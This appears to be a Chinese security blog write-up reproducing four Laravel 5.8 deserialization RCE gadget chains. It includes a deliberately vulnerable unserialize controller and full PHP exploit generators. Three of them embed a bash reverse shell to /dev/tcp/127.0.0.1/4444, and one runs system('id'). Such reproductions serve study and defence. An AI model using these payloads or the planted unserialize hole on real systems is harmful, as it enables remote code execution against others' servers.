Laravel5.8 RCE POP链复现

环境搭建

1、下载laravel5.8版本的框架并在本地启动服务

1
2
3
4
composer create-project --prefer-dist laravel/laravel laravel58 5.8.*
cd laravel58
composer install
php artisan serve --host=0.0.0.0

问题

PS:怎么到我这里问题这么多。。。

Q:安装框架时没有出现vendor目录导致无法启动服务

A:进入目录执行composer install命令,如果还是没有生成vendor目录就执行composer install --ignore-platform-reqs

注意:这种方法只适用于对组件版本没有要求的环境搭建,若有要求,还是要根据报错信息下载对应php扩展。

Q.env文件中APP_KEY为空

A:命令php artisan key:generate生成APP_KEY

2、在app/Http/Controllers新建文件IndexController.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class IndexController extends Controller
{
    public function index(Request $request){
        $payload=$request->input("payload");
        @unserialize($payload);
    }
}

3、routes/web.php添加路由规则

POST传参会要求传递token,否则会出现419错误

1
Route::get('/', "IndexController@index");

POP链分析

rce1

入口类:vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类:vendor/fzaninotto/faker/src/Faker/Generator.php/Generator

老规矩,从__destruct入手

PendingBroadcast::__destruct()

1
2
3
4
public function __destruct()
{
    $this->events->dispatch($this->event);
}

这里的event和events均可控,可以想到的利用方法有:控制events触发__call__callStatic方法或者控制event触发__toString方法,口嗨完毕,继续抄文章[]~( ̄▽ ̄)~*

寻找可利用方法:同名方法dispatch或魔术方法__call__callStatic,找到Faker\Generator

Faker\Generator::__call

1
2
3
4
public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}

然后调用当前类的format方法

Faker\Generator::format

1
2
3
4
public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

看到敏感函数了,但是这里回调函数经过了getFormatter函数的处理,查看一下定义

Faker\Generator::getFormatter

1
2
3
4
5
6
7
public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    ...
}

这里判断了一下$this->formatters[$formatter]是否存在,但是由于该类的成员变量全部可控,所以这个判断很轻易地就可以绕过。

:该类存在__wakeup方法,所以在我们调用unserialize时会触发,恰巧wakeup方法是清空我们要利用的formatters数组,所以我们需要通过"祖传"的修改变量个数来绕过它。

注意:当我们通过修改变量个数来绕过wakeup函数时,代码中events和event变量的定义顺序就需要修改了,我们需要先定义event,否则会因为变量个数增多导致event值被吞掉。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace Illuminate\Broadcasting{
	class PendingBroadcast{
    	protected $event;
    	protected $events;
	    public function __construct($events, $event){
	        $this->event = $event;
	        $this->events = $events;
	    }
	}
}

namespace Faker{
	class Generator{
		protected $formatters = array();
		public function __construct($formatters){
			$this->formatters = $formatters;
		}
	}
}

namespace{
	$generator = new Faker\Generator(array("dispatch"=>"system"));
	$o = new Illuminate\Broadcasting\PendingBroadcast($generator, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'");
	$s = str_replace('"Faker\\Generator":1','"Faker\\Generator":2',serialize($o));
	echo urlencode($s);
}

rce2

入口类:vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类:vendor/laravel/framework/src/Illuminate/Validation/Validator.php/Validator

还是从PendingBroadcast::__destruct()入手,还是找魔术方法__call

PendingBroadcast::__destruct()

1
2
3
4
public function __destruct()
{
    $this->events->dispatch($this->event);
}

Illuminate\Validation\Validator::__call

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public function __call($method, $parameters)
{
    $rule = Str::snake(substr($method, 8));

    if (isset($this->extensions[$rule])) {
        return $this->callExtension($rule, $parameters);
    }

    throw new BadMethodCallException(sprintf(
        'Method %s::%s does not exist.', static::class, $method
    ));
}

extensions、rule均可控(rule值恒为空)(Str::snake用法参考文章https://laravel.com/docs/8.x/helpers#method-snake-case)通过条件判断不是很困难,接着跟进callExtension函数

Illuminate\Validation\Validator::callExtension

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
protected function callExtension($rule, $parameters)
{
    $callback = $this->extensions[$rule];

    if (is_callable($callback)) {
        return call_user_func_array($callback, $parameters);
    } elseif (is_string($callback)) {
        return $this->callClassBasedExtension($callback, $parameters);
    }
}

这里更是没有什么过滤,干就van了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event){
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Validation{
	class Validator{
		public $extensions = [];
		public function __construct($extensions){
			$this->extensions = $extensions;
		}
	}
}

namespace{
	$validator = new Illuminate\Validation\Validator(array("" => "system"));
	$o = new Illuminate\Broadcasting\PendingBroadcast($validator, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'");
	echo urlencode(serialize($o));
}

rce3

入口类:vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类:vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php/Dispatcher

又双叒叕是从PendingBroadcast::__destruct()入手,这条链子是通过寻找同名方法dispatch实现RCE

PendingBroadcast::__destruct()

1
2
3
4
public function __destruct()
{
    $this->events->dispatch($this->event);
}

参数均可控,接下来找同名方法,找到Illuminate\Bus\Dispatcher

Illuminate\Bus\Dispatcher::dispatch

1
2
3
4
5
6
7
8
public function dispatch($command)
{
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }

    return $this->dispatchNow($command);
}

看一下commandShouldBeQueued方法

$this->commandShouldBeQueued($command)

1
2
3
4
protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

可知条件是queueResolver有值且command是接口ShouldQueue的实例,queueResolver值可控,因此有值的要求很简单。众所周知,接口不能实例化,因此我们只能寻找实现了接口的类从而通过实例判断。然后找到了Illuminate\Broadcasting\BroadcastEvent,经过条件判断后会调用方法dispatchToQueue

Illuminate\Bus\Dispatcher::dispatchToQueue

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;

    $queue = call_user_func($this->queueResolver, $connection);

    if (! $queue instanceof Queue) {
        throw new RuntimeException('Queue resolver did not return a Queue implementation.');
    }

    if (method_exists($command, 'queue')) {
        return $command->queue($queue, $command);
    }

    return $this->pushCommandToQueue($queue, $command);
}

存在敏感函数,由于两个参数都可控,直接就能命令执行(后面的报错就别管了,弹个shell还是可以的

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event){
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
	class Dispatcher{
		protected $queueResolver;
		public function __construct($queueResolver){
			$this->queueResolver = $queueResolver;
		}
	}
}

namespace Illuminate\Broadcasting{
	class BroadcastEvent{
		public $connection;
		public function __construct($connection){
			$this->connection = $connection;
		}
	}
}

namespace{
	$dispatch = new Illuminate\Bus\Dispatcher("system");
	$command = new Illuminate\Broadcasting\BroadcastEvent("bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'");
	$o = new Illuminate\Broadcasting\PendingBroadcast($dispatch, $command);
	echo urlencode(serialize($o));
}

rce4

入口类:vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php/PendingCommand

RCE调用类:vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php/BoundMethod

5.8的Symfony组件貌似已经无法利用了,就复现下一条,这一条是laravel5.7版本的CVE(CVE-2019-9081),但是5.8仍然适用。

这条链子也是__destruct开始

Illuminate\Foundation\Testing\PendingCommand::__destruct

1
2
3
4
5
6
7
8
public function __destruct()
{
    if ($this->hasExecuted) {
        return;
    }

    $this->run();
}

我们想要它执行下去,那就要保证条件判断过不了,正好初始值就是false,也省事了。然后跟进run方法

Illuminate\Foundation\Testing\PendingCommand::run

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function run()
{
    $this->hasExecuted = true;

    $this->mockConsoleOutput();

    try {
        $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    } catch (NoMatchingExpectationException $e) {
        if ($e->getMethodName() === 'askQuestion') {
            $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
        }

        throw $e;
    }

    if ($this->expectedExitCode !== null) {
        $this->test->assertEquals(
            $this->expectedExitCode, $exitCode,
            "Expected status code {$this->expectedExitCode} but received {$exitCode}."
        );
    }

    return $exitCode;
}

可以看到一个很特殊的方法$this->app[Kernel::class]->call($this->command, $this->parameters);,结合该方法的注释Execute the command.。判断这里应该我们要利用的命令执行的地方,先在exp中定义好这两个成员变量,象征性的赋值system和id。然后跟进mockConsoleOutput方法,看一下该方法的定义,如果没有什么异常退出或修改成员变量值就不需要细致地看了,只要代码能顺利的运行下去就OK了。

Illuminate\Foundation\Testing\PendingCommand::mockConsoleOutput

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected function mockConsoleOutput()
{
    $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
        (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
    ]);

    foreach ($this->test->expectedQuestions as $i => $question) {
        $mock->shouldReceive('askQuestion')
            ->once()
            ->ordered()
            ->with(Mockery::on(function ($argument) use ($question) {
                return $argument->getQuestion() == $question[0];
            }))
            ->andReturnUsing(function () use ($question, $i) {
                unset($this->test->expectedQuestions[$i]);

                return $question[1];
            });
    }

    $this->app->bind(OutputStyle::class, function () use ($mock) {
        return $mock;
    });
}

结果第一句代码就过不了emmm,查看一下报错信息:

TypeError: Argument 1 passed to Symfony\Component\Console\Input\ArrayInput::__construct() must be of the type array, string given

限制了参数传递的格式问题,这好办,直接$parameters传递格式改为数组即可。这样第一句就成功执行了,接下来再单步跳过,一直到最后一步报错

Error: Call to a member function bind() on null

此时$this->app是null,自然也就无法调用bind方法了,所以接下来我们要为它赋值,查看成员变量$app的注释

1
2
3
4
5
6
/**
 * The application instance.
 *
 * @var \Illuminate\Contracts\Foundation\Application
 */
protected $app;

$app变量声明了类型为\Illuminate\Contracts\Foundation\Application接口,由于接口不能实例化,我们需要实例化实现了该接口的类:Illuminate\Foundation\Application。当然,真正的原因不是这个,这个说法只是先接受一下这个设定,具体原因后面叙说,然后就可以成功的通过mockConsoleOutput方法。

接下来开始尝试执行$this->app[Kernel::class]->call($this->command, $this->parameters);,这段代码也不是很好懂,看起来像是调用内核然后调用call方法命令执行,但是对其中的app、kernel等变量细节不是很清除,可以通过拆分结构来理解

1
2
$kernel = Kernel::class; // Illuminate\Contracts\Console\Kernel
$ap = $this->app[Kernel::class]; // Illuminate\Foundation\Application

跟进$this->app[Kernel::class],进入了以下几段代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// Illuminate\Container\Container
public function offsetGet($key)
{
    return $this->make($key);
}
// Illuminate\Foundation\Application
public function make($abstract, array $parameters = [])
{
    $abstract = $this->getAlias($abstract);

    if ($this->isDeferredService($abstract) && ! isset($this->instances[$abstract])) {
        $this->loadDeferredProvider($abstract);
    }

    return parent::make($abstract, $parameters);
}

参考手册可知是Application类在解析Kernel接口并返回Kernel实例,过程应该就相当于实例化,然后一步步跟下去,直到

Illuminate\Container\Container::resolve

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function resolve($abstract, $parameters = [], $raiseEvents = true)
{
    $abstract = $this->getAlias($abstract);

    $needsContextualBuild = ! empty($parameters) || ! is_null(
        $this->getContextualConcrete($abstract)
    );

    // If an instance of the type is currently being managed as a singleton we'll
    // just return an existing instance instead of instantiating new instances
    // so the developer can keep using the same objects instance every time.
    if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
        return $this->instances[$abstract];
    }
    
    $this->with[] = $parameters;

    $concrete = $this->getConcrete($abstract);

    // We're ready to instantiate an instance of the concrete type registered for
    // the binding. This will instantiate the types, as well as resolve any of
    // its "nested" dependencies recursively until all have gotten resolved.
    if ($this->isBuildable($concrete, $abstract)) {
        $object = $this->build($concrete);
    } else {
        $object = $this->make($concrete);
    }
    ...
}

由于$abstract值已知是Illuminate\Contracts\Console\Kernel且$needsContextualBuild为false,Laravel-popchain文章中师傅直接控制$this->instances[$abstract],然后return结束$this->app[Kernel::class]过程向上执行Container类的call方法

而这里思路也差不多,跟进getConcrete函数

Illuminate\Container\Container::getConcrete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
protected function getConcrete($abstract)
{
    if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
        return $concrete;
    }

    // If we don't have a registered resolver or concrete for the type, we'll just
    // assume each type is a concrete name and will attempt to resolve it as is
    // since the container should be able to resolve concretes automatically.
    if (isset($this->bindings[$abstract])) {
        return $this->bindings[$abstract]['concrete'];
    }

    return $abstract;
}

此处$this->bindings[$abstract]可控,进而返回值也可控,我们可以直接控制bindings二维数组值为Application类然后通过build方法成功实例化Application类,最后也是通过$this->instances[$abstract];返回调用call方法。由于Application没有call方法,调用call时会向上调用父类Container的方法,这就是使用Application类的原因(悄咪咪地试过,使用Container类也是可以的🤣

Illuminate\Container\Container::call

1
2
3
4
public function call($callback, array $parameters = [], $defaultMethod = null)
{
    return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}

跟进call方法

Illuminate\Container\BoundMethod::call

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
    if (static::isCallableWithAtSign($callback) || $defaultMethod) {
        return static::callClass($container, $callback, $parameters, $defaultMethod);
    }

    return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
        return call_user_func_array(
            $callback, static::getMethodDependencies($container, $callback, $parameters)
        );
    });
}

第一个判断过不了,直接下一步callBoundMethod方法

Illuminate\Container\BoundMethod::callBoundMethod

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
protected static function callBoundMethod($container, $callback, $default)
{
    if (! is_array($callback)) {
        return $default instanceof Closure ? $default() : $default;
    }

    // Here we need to turn the array callable into a Class@method string we can use to
    // examine the container and see if there are any method bindings for this given
    // method. If there are, we can call this method binding callback immediately.
    $method = static::normalizeMethod($callback);

    if ($container->hasMethodBinding($method)) {
        return $container->callMethodBinding($method, $callback[0]);
    }

    return $default instanceof Closure ? $default() : $default;
}

可以看到这个方法的目的就是将数组转化为可满足Class@method格式的字符串,因此直接跳到下一步,看后面的call_user_func_array函数,回调函数callback即为我们控制的system,参数是由静态方法getMethodDependencies提供

Illuminate\Container\BoundMethod::getMethodDependencies

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
    $dependencies = [];

    foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
        static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
    }

    return array_merge($dependencies, $parameters);
}

这一段是通过反射获取callback实例的参数然后将$dependencies和参数列表合并,但是$dependencies就是空值,所以并不影响参数列表,最后就等于执行call_user_func_array("system",array("id"));

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $app;
        protected $command;
    	protected $parameters;
        public function __construct($app, $command, $parameters){
        	$this->app = $app;
        	$this->command = $command;
        	$this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Foundation{
	class Application{
		protected $bindings = array();
		public function __construct($bindings = []){
			$this->bindings["Illuminate\Contracts\Console\Kernel"]["concrete"] = $bindings;

		}
	}
}

namespace{
	$app1 = new Illuminate\Foundation\Application();
	$app2 = new Illuminate\Foundation\Application($app1);
	$com = new Illuminate\Foundation\Testing\PendingCommand($app2, "system", array("id"));
	echo urlencode(serialize($com));
}

总结

1、入口函数__destruct(可能会有从wakeup开始的情况,具体情况具体分析)

2、寻找魔术方法__call__callStatic__toString__invoke

3、敏感函数evalcall_user_funccall_user_func_array

4、有时候直接看报错信息会更快(代码实在看不懂

参考

laravel framework目录结构

Laravel 5.8 RCE POP链汇总分析

laravelv5.7反序列化rce(CVE-2019-9081)

Laravel-popchain